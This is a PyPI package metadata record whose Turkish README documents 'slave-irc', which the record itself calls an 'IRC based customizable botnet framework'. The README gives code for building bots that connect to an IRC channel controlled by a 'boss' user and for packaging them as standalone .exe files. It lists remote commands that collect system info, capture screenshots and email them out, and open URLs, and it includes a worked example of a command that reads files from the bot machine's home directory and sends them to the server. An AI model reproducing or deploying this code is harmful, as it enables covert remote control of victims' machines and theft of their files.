{ "info": { "author": "bufgix", "author_email": "ooruc471@yandex.com", "bugtrack_url": null, "classifiers": [ "License :: OSI Approved :: MIT License", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.7" ], "description": "# SLAVE\n\nSlave, Python ile yaz\u0131lm\u0131\u015f \u00f6zelle\u015ftirilebilir bot olu\u015fturmaya yarayan bir yaz\u0131l\u0131md\u0131r. [IRC](https://tr.wikipedia.org/wiki/Internet_Relay_Chat) protokol\u00fc \u00fczerinden, yaz\u0131lan botlar ile haberle\u015fir.\n\n## Y\u00fckleme\n### Pip ile kurulum\n```bash\n$ pip install slave-irc\n```\n### Local kurulum\n```bash\n$ git clone https://github.com/bufgix/slave\n$ cd slave\n$ python setup.py install\n```\n\nSlave, gerek executable dosya olu\u015fturmada gerekse ba\u011f\u0131ml\u0131kl\u0131lar\u0131 kurmada `pipenv` i kullan\u0131r. `pipenv` hakk\u0131nda daha fazla bilgiye [buradan](https://realpython.com/pipenv-guide/) ula\u015fabilirsiniz.\n\n\n## Kullan\u0131m\n### Basit bot olu\u015fturma\n```python\n# basic_bot.py\n\nfrom slave.lib.bot import BotV2\n\n\nconfig = {\n 'host': 'chat.freenode.net',\n 'port': 6667,\n 'channel': \"#slavebotpool666\",\n 'boss_name': 'boss666',\n 'bot_prefix': \"SLAVEBOT\"\n}\nBotV2.read_config_from_dict(config)\nBotV2.start()\n```\n\n\n`config` \u015funlar\u0131 i\u00e7ermelidir\n\n| Key | Value |\n|---|---|\n| `host` | IRC server (varsay\u0131lan `chat.freenode.net`) |\n| `port` | IRC server portu (varsay\u0131lan `6667`)|\n| `channel`| Ba\u011flan\u0131lacak kanal ismi. (varsay\u0131lan `#slavebotpool666`)|\n| `boss_name` | Botlar\u0131 y\u00f6netecek kullan\u0131c\u0131n ismi (varsay\u0131lan `boss666`) |\n| `bot_prefix`| Bot \u00f6n eki (varsay\u0131lan `SLAVEBOT`) |\n\n## \u00c7al\u0131\u015ft\u0131r\u0131labilir dosya olu\u015fturma\n---\nSlave, direkt olarak \u00e7al\u0131\u015ft\u0131rabilir dosya olu\u015fturman\u0131za olanak sa\u011flar. Bunu yaparlen [PyInstaller](https://www.pyinstaller.org) kullan\u0131r.\n\nYukar\u0131da yazd\u0131\u011f\u0131m\u0131z botu \u00e7al\u0131\u015ft\u0131r\u0131labilir dosya yapmak i\u00e7in:\n```bash\n$ python -m slave basic_bot.py\n[i] Source: C:\\Users\\user\\your_bot\\basic_bot.py\n[i] Creating executable file...\n[*] Created executable file. Check C:\\Users\\user\\path\\your_bot\\dist\n```\n\nOlu\u015fan `dist/` dizinini alt\u0131nda `basic_bot.exe` dosyas\u0131 art\u0131k kullan\u0131ma haz\u0131r.\n\n`basic_bot.exe` yi \u00e7al\u0131\u015ft\u0131rd\u0131ktan sonra 5-10 saniye i\u00e7inde `config` de belirledi\u011finiz \u015fekilde IRC'ye ba\u011flan\u0131r.\n\nBuradan sonra `config` de belirledi\u011finiz `bos_name` ile ayn\u0131 olarak IRC server ve channel'e girin. Ard\u0131ndan botlar\u0131n\u0131za emir vermeye ba\u015flayabilirsiniz.\n\n## Nas\u0131l komut vereceksiniz\nSlave botlar\u0131na emir vermek i\u00e7in `$` \u00f6n eki getirilir.\n```\n$info bfr24s\n``` \n```\n$visit bfr24s https://google.com\n```\n\ngibi. Komuttan sonraki ilk parametre genelde verece\u011finiz botun idsini al\u0131r. E\u011fer b\u00fct\u00fcn botlara bu komutu vermek istiyorsan\u0131z `bot_id` yerine `/all` yazabilirsiniz. \n\n```\n$visit /all https://google.com\n```\n\n`BOtV2` nin sa\u011flad\u0131\u011f\u0131 komutlar ve kullan\u0131mlar\u0131 a\u015fa\u011f\u0131daki gibidir\n\n| Command | Desc | Syntax |\n|---|---|---|\n| quit | Kill bot | `$quit [/all \\| ]` |\n| info | Information of bot machine | `$info [/all \\| ]` |\n| message | Message show with tkinter | `$message [/all \\| ] ` |\n| visit | Open url with webbroser | `$visit [/all \\| ] ` |\n| screenshot | Take sceenshot and send your email(Only Gmail) | `$screenshot [/all \\| ] `|\n| help | Help text of command | `$help ` |\n\n\n\nBotlar\u0131n\u0131z\u0131 her yerden y\u00f6netebilirsiniz\n* Web: [Kiwi](https://kiwiirc.com/nextclient/)\n* Android: [AndroidIRC](https://play.google.com/store/apps/details?id=com.androirc&hl=tr)\n* IOS: [Mutter](https://apps.apple.com/tr/app/mutter-irc-client/id1059224189?l=tr)\n\n\n## Nas\u0131l kendi komutlar\u0131m\u0131 yazar\u0131m ?\nSlave, kendi \u00f6zel botunuzu yazman\u0131z\u0131 sa\u011flar. Bunu yapmak i\u00e7in `Bot` s\u0131n\u0131f\u0131n\u0131n `@register` decelerator'unu kullanman\u0131z gerekir.\n\n\u015eimdi kendimiz bir komut yazal\u0131m. Yazaca\u011f\u0131m\u0131z komut arg\u00fcman olarak verdi\u011fimiz dosya ismini okuyup i\u00e7indekileri servera g\u00f6ndersin. Komutun s\u00f6z dizimi \u015f\u00f6yle olsun.\n```\n$read [/all | ] \n```\n\n```python\n# bot_custom.py\n\nfrom slave.lib.bots import BotBasic\n\nconfig = {\n 'host': 'chat.freenode.net',\n 'port': 6667,\n 'channel': \"#slavebotpool666\",\n 'boss_name': 'boss666',\n 'bot_prefix': \"SLAVEBOT\"\n}\nBotBasic.read_config_from_dict(config)\nBotBasic.bot_type = \"MyCustomBot\"\n\n@BotBasic.register('read', all=True, on_connect=False, help_text=\"Read from file $read [/all | ] \")\ndef read_file(bot, args):\n pass\n\nBotBasic.start()\n```\n\nG\u00f6r\u00fcld\u00fcg\u00fc gibi `register()` ilk paramtere olarak komut dizisini al\u0131r. `all=` keywordu, `` yerine `/all` kullanmam\u0131z\u0131 ve b\u00fct\u00fcn botlarda ayn\u0131 anda komutumuzun \u00e7al\u0131\u015ft\u0131r\u0131lmas\u0131n\u0131 sa\u011flar. `on_connect=` Bu, e\u011fer True ise yazd\u0131\u011f\u0131n\u0131z komut servera ba\u011fland\u0131\u011f\u0131 anda \u00e7al\u0131\u015f\u0131r. `help_text=` ise komutumuzun imzas\u0131d\u0131r. Burada komutun nas\u0131l kullan\u0131laca\u011f\u0131 hakk\u0131nda bilgi verebilirsiniz.\n\nKomut fonksyonu iki parametre almak zorundad\u0131r. Birinci parametre olarak `Bot` objesi al\u0131r. Bu server ile bot aras\u0131nda ileti\u015fimi sa\u011flar.\n\n```bot.send_text(text: str) -> None```\n\nServera text mesaj\u0131 g\u00f6ndermeyi sa\u011flar.\n\n`bot.exit_server() -> None`\n\nBotun serverdan ayr\u0131lmas\u0131n\u0131 sa\u011flar\n\n`bot.send_command_help() -> None`\n\nVar olan komutlar\u0131 ve bilgilerini servera g\u00f6nderir.\n\n\u0130kinci arg\u00fcman olan args ise arg\u00fcman listesini al\u0131r.\n\n![img](https://i.resimyukle.xyz/Vfy4BS.png)\n\n\u015fimdi komutumuzu yazmaya devam edelim\n```python\nfrom pathlib import Path\n\n...\n\n@BotBasic.register('read', all=True, on_connect=False, help_text=\"Read from file $read [/all | ] \")\ndef read_file(bot, args):\n path = str(Path(f\"~/{args[1]}\").expanduser())\n with open(path, 'r') as f:\n bot.send_text(f.read())\n\n...\n\n```\n\nHer \u015fey haz\u0131r. \u015eimdi test etmek i\u00e7in `bot_custom.py` yi \u00e7al\u0131\u015ft\u0131rabiliriz.\n```bash\n$ python bot_custom.py\n```\n`file.txt`\n```\nIm secret\nDon't read me\n```\n\n![img](https://i.resimyukle.xyz/ybHK7z.png)\n\nTabi dosyay\u0131 okumdadan \u00f6nce var olup olmad\u0131\u011f\u0131n\u0131 kontrol etmek \u00f6nemlidir. E\u011fer var olmayan bir dosyaya eri\u015fmeye \u00e7al\u0131\u015f\u0131rsan\u0131z bot, serverla haberle\u015fmeyi kesecektir.\n\n\nYukardaki \u00f6rnekte daha az komut oldu\u011funu g\u00f6rm\u00fc\u015fs\u00fcn\u00fczd\u00fcr. Bunun nedeni `BotBasic` s\u0131n\u0131f\u0131n\u0131n `BotV2` ye g\u00f6re daha az komut i\u00e7ermesi. Hem kendi komutlar\u0131n\u0131z\u0131 hem de `BotV2` deki standart komutlar\u0131 birle\u015ftirmek i\u00e7in\n```python\nfrom slave.lib.bots import BotBasic, BotV2\n\n...\n\nBotBasic.use_other_bot_commands(BotV2)\nBotBasic.start()\n```\n![img](https://i.resimyukle.xyz/05VUGy.png)\n\nBotunuzun haz\u0131r oldu\u011funu d\u00fc\u015f\u00fcn\u00fcyorsan\u0131z art\u0131k [\u00e7al\u0131\u015ft\u0131r\u0131labilir dosya](#\u00e7al\u0131\u015ft\u0131r\u0131labilir-dosya-olu\u015fturma) yapabilirsiniz.\n\n\n## LICENSE: [MIT](https://github.com/bufgix/slave/blob/master/LICENSE)\n\n\n\n\n", "description_content_type": "text/markdown", "docs_url": null, "download_url": "", "downloads": { "last_day": -1, "last_month": -1, "last_week": -1 }, "home_page": "https://github.com/bufgix/slave", "keywords": "", "license": "MIT", "maintainer": "", "maintainer_email": "", "name": "slave-irc", "package_url": "https://pypi.org/project/slave-irc/", "platform": "", "project_url": "https://pypi.org/project/slave-irc/", "project_urls": { "Homepage": "https://github.com/bufgix/slave" }, "release_url": "https://pypi.org/project/slave-irc/1.1.1/", "requires_dist": [ "pyinstaller", "mss" ], "requires_python": "", "summary": "IRC based customizable botnet framework", "version": "1.1.1" }, "last_serial": 5416116, "releases": { "1.0.0": [ { "comment_text": "", "digests": { "md5": "0595c293b4f710c0c9f98263137fe057", "sha256": "7fdbede91661970f6754a0d1faf7bd3a9b64ef74bc7aca3fe97277225d10f9a0" }, "downloads": -1, "filename": "slave_irc-1.0.0-py3-none-any.whl", "has_sig": false, "md5_digest": "0595c293b4f710c0c9f98263137fe057", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": null, "size": 8440, "upload_time": "2019-06-16T23:32:08", "url": "https://files.pythonhosted.org/packages/24/2d/eb69536ed73dee4e9f8cbba3a786af52493c721537f1f961e6e01eb54b79/slave_irc-1.0.0-py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "cc9c057ea1ffec6f1d6ec5513a34e88b", "sha256": "695f422b94ba70c9e6fc6068b1bc2bdea860007795a93d1eafedc5b913f9ffb0" }, "downloads": -1, "filename": "slave-irc-1.0.0.tar.gz", "has_sig": false, "md5_digest": "cc9c057ea1ffec6f1d6ec5513a34e88b", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 7027, "upload_time": "2019-06-16T23:32:10", "url": "https://files.pythonhosted.org/packages/01/1f/eabef2ab0c81e0cefb81932097d06b3f3e69780e6be695265b830993850d/slave-irc-1.0.0.tar.gz" } ], "1.0.1": [ { "comment_text": "", "digests": { "md5": "ab8d6e8a0f69fc9c28182931db34a1d1", "sha256": "8732358ef15d9a576defbf55c10eaa0aac0d558d66405f7c155468732e55cd9c" }, "downloads": -1, "filename": "slave_irc-1.0.1-py3-none-any.whl", "has_sig": false, "md5_digest": "ab8d6e8a0f69fc9c28182931db34a1d1", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": null, "size": 9080, "upload_time": "2019-06-17T13:24:36", "url": "https://files.pythonhosted.org/packages/b2/c2/15d47b4b9535eb5307ac836a7b21e149874f5810835dccece5f23cc68b4b/slave_irc-1.0.1-py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "4ff8434c31cfe3252e0d11c9e6362c35", "sha256": "2fea41f7ce16e40077da9456c9b580931d6a395c2b982ee0da957a27db2f8123" }, "downloads": -1, "filename": "slave-irc-1.0.1.tar.gz", "has_sig": false, "md5_digest": "4ff8434c31cfe3252e0d11c9e6362c35", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 8434, "upload_time": "2019-06-17T13:24:38", "url": "https://files.pythonhosted.org/packages/dc/50/725618dcbd76afe02b59d3604994742d58dd0022ff2e0d1b6a66e51833fd/slave-irc-1.0.1.tar.gz" } ], "1.0.2": [ { "comment_text": "", "digests": { "md5": "3323fd516a5df1204612e34b99503f1d", "sha256": "1ca24e0b251a9b2a533c1a2d2ba4166bdf1fcd90f05578cc5886ae3a2d45d476" }, "downloads": -1, "filename": "slave_irc-1.0.2-py3-none-any.whl", "has_sig": false, "md5_digest": "3323fd516a5df1204612e34b99503f1d", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": null, "size": 9082, "upload_time": "2019-06-17T14:06:28", "url": "https://files.pythonhosted.org/packages/a3/96/a5e5b5db6210f2fb64a0c16fbe84494657f6ae725f7700ad97fdb41efb67/slave_irc-1.0.2-py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "d8a090052b6616b06ccf9db71bde733f", "sha256": "41dafddeb941e48cafd5e298a77c193e4df6a2e96935cf04ebd5f980f4a4bcfb" }, "downloads": -1, "filename": "slave-irc-1.0.2.tar.gz", "has_sig": false, "md5_digest": "d8a090052b6616b06ccf9db71bde733f", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 8432, "upload_time": "2019-06-17T14:06:30", "url": "https://files.pythonhosted.org/packages/99/95/cfd72686f2ccc8e934b43435a9fc2118a1992bcb97ad18b0f988dc41aa3e/slave-irc-1.0.2.tar.gz" } ], "1.1.1": [ { "comment_text": "", "digests": { "md5": "312340d68068f7fd41b292598ba67492", "sha256": "6aadd6be0cd7af5377143ddaea25aba1a579b2e3e6d69ce80133e793cb1145bf" }, "downloads": -1, "filename": "slave_irc-1.1.1-py3-none-any.whl", "has_sig": false, "md5_digest": "312340d68068f7fd41b292598ba67492", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": null, "size": 9971, "upload_time": "2019-06-18T16:15:19", "url": "https://files.pythonhosted.org/packages/6b/8b/5d83a5777b8aad4d2dbf3c0ef7356bdce38c96e5a452c0d175aa657e769a/slave_irc-1.1.1-py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "90714f47c7e119157138176b168ab2ca", "sha256": "c4039cdf819c4db01f1adcdd8ecca969cb0d22c389b34cbc73551c0a0ac76698" }, "downloads": -1, "filename": "slave-irc-1.1.1.tar.gz", "has_sig": false, "md5_digest": "90714f47c7e119157138176b168ab2ca", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 9124, "upload_time": "2019-06-18T16:15:23", "url": "https://files.pythonhosted.org/packages/78/82/dbb749de39316d4afb8ac96a730525d29ac97a634964c93e90e459d14d94/slave-irc-1.1.1.tar.gz" } ] }, "urls": [ { "comment_text": "", "digests": { "md5": "312340d68068f7fd41b292598ba67492", "sha256": "6aadd6be0cd7af5377143ddaea25aba1a579b2e3e6d69ce80133e793cb1145bf" }, "downloads": -1, "filename": "slave_irc-1.1.1-py3-none-any.whl", "has_sig": false, "md5_digest": "312340d68068f7fd41b292598ba67492", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": null, "size": 9971, "upload_time": "2019-06-18T16:15:19", "url": "https://files.pythonhosted.org/packages/6b/8b/5d83a5777b8aad4d2dbf3c0ef7356bdce38c96e5a452c0d175aa657e769a/slave_irc-1.1.1-py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "90714f47c7e119157138176b168ab2ca", "sha256": "c4039cdf819c4db01f1adcdd8ecca969cb0d22c389b34cbc73551c0a0ac76698" }, "downloads": -1, "filename": "slave-irc-1.1.1.tar.gz", "has_sig": false, "md5_digest": "90714f47c7e119157138176b168ab2ca", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 9124, "upload_time": "2019-06-18T16:15:23", "url": "https://files.pythonhosted.org/packages/78/82/dbb749de39316d4afb8ac96a730525d29ac97a634964c93e90e459d14d94/slave-irc-1.1.1.tar.gz" } ] }